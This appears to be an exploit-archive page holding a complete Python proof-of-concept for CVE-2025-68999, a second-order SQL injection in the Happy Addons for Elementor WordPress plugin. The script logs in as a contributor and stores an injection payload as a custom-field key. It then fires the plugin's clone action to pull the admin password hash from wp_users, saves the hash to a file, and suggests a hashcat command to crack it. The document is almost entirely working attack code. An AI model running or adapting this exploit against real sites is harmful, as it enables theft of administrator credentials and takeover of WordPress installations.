5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2025-68999 - Happy Addons for Elementor <= 3.20.4
Authenticated (Contributor+) Second-Order SQL Injection

Author : iwd (Alaaeddine Knani)
Requires: pip install requests
"""

import re
import sys
import requests

R = "\033[31m"
G = "\033[32m"
B = "\033[34m"
Y = "\033[33m"
W = "\033[0m"

def log(m):  print(f"{B}[*]{W} {m}")
def ok(m):   print(f"{G}[+]{W} {m}")
def warn(m): print(f"{Y}[!]{W} {m}")
def fail(m): print(f"{R}[-]{W} {m}"); sys.exit(1)

def banner():
    print(f"""
{R}  CVE-2025-68999{W} - Happy Addons for Elementor
  Second-Order SQL Injection / Contributor+
  author: iwd
""")

def exploit(target, username, password):
    target = target.rstrip("/")
    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

    # 1. Authenticate
    log(f"authenticating as {username} ...")
    s.get(f"{target}/wp-login.php", timeout=10)
    r = s.post(f"{target}/wp-login.php", data={
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": "/wp-admin/",
        "testcookie": "1",
    }, allow_redirects=True, timeout=10)

    if not any("wordpress_logged_in" in c.name for c in s.cookies):
        fail("login failed - check credentials or 2FA")
    ok("authenticated")

    # 2. Get post editor - extract nonces
    log("fetching post editor ...")
    r = s.get(f"{target}/wp-admin/post-new.php", timeout=10)

    post_nonce = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', r.text)
    meta_nonce = re.search(r'"_ajax_nonce-add-meta"\s+value="([a-f0-9]+)"', r.text)

    if not post_nonce:
        fail("could not extract _wpnonce - does this account have edit_posts?")

    post_nonce = post_nonce.group(1)
    meta_nonce = meta_nonce.group(1) if meta_nonce else post_nonce

    # 3. Store the malicious meta_key
    #
    # duplicate_meta_entries() later reads this key back and concatenates it
    # directly into the raw INSERT query without escaping.
    # The payload breaks out of the current VALUES tuple and injects a second
    # row whose meta_value is the result of a subquery.
    #
    log("saving draft with payload as meta_key ...")
    payload = (
        "x'), (0, 'leaked_hash', "
        "(SELECT user_pass FROM wp_users WHERE user_login='admin')), "
        "(0, 'z', 'z"
    )

    r = s.post(f"{target}/wp-admin/post.php", data={
        "action":               "editpost",
        "post_type":            "post",
        "post_status":          "draft",
        "post_title":           "test",
        "_wpnonce":             post_nonce,
        "_ajax_nonce-add-meta": meta_nonce,
        "metakeyinput":         payload,
        "metavalue":            "x",
        "addmeta":              "1",
    }, allow_redirects=True, timeout=10)

    post_id = re.search(r"post=(\d+)", r.url) or re.search(r"post=(\d+)", r.text)
    if not post_id:
        fail("could not extract post ID after save")
    post_id = post_id.group(1)
    ok(f"post {post_id} saved - payload is now in wp_postmeta")

    # 4. Grab clone nonce from the posts list
    log("fetching clone nonce ...")
    r = s.get(f"{target}/wp-admin/edit.php", timeout=10)

    nonce = re.search(
        rf"ha_duplicate_thing&amp;post_id={post_id}&amp;_wpnonce=([a-f0-9]+)",
        r.text
    )
    if not nonce:
        fail("clone nonce not found - is Happy Addons active and Happy Clone enabled?")
    nonce = nonce.group(1)
    ok(f"nonce: {nonce}")

    # 5. Fire the clone
    #    duplicate_meta_entries() reads the stored meta_key and concatenates
    #    it into the raw INSERT query - injection executes here
    log(f"triggering Happy Clone on post {post_id} ...")
    s.get(f"{target}/wp-admin/admin.php", params={
        "action":   "ha_duplicate_thing",
        "post_id":  post_id,
        "_wpnonce": nonce,
    }, allow_redirects=True, timeout=10)
    ok("clone fired - injection executed")

    # 6. Read the extracted hash from the cloned post
    log("reading leaked_hash from cloned post ...")
    r = s.get(f"{target}/wp-admin/edit.php", timeout=10)

    all_ids = list(dict.fromkeys(re.findall(r"post=(\d+)", r.text)))
    clone_id = next((i for i in all_ids if i != post_id), None)
    if not clone_id:
        fail("could not find cloned post ID")

    r = s.get(f"{target}/wp-admin/post.php",
              params={"post": clone_id, "action": "edit"}, timeout=10)

    h = None
    idx = r.text.find("leaked_hash")
    if idx != -1:
        h = re.search(r'value="(\$P\$[^"]+)"', r.text[idx:idx + 800])
    if not h:
        h = re.search(r'(\$P\$[A-Za-z0-9./]{31})', r.text)

    if h:
        pw_hash = h.group(1)
        ok(f"admin hash: {G}{pw_hash}{W}")
        with open("hash.txt", "w") as f:
            f.write(pw_hash + "\n")
        ok("saved to hash.txt")
        print(f"\n  crack with:  hashcat -m 400 hash.txt rockyou.txt\n")
    else:
        warn("hash not in response - check manually:")
        warn(f"  {target}/wp-admin/post.php?post={clone_id}&action=edit")
        warn("look for a custom field named 'leaked_hash'")


if __name__ == "__main__":
    banner()
    if len(sys.argv) != 4:
        print(f"  usage: python3 poc.py <target> <username> <password>")
        print(f"  example: python3 poc.py https://target.com contributor p4ss\n")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])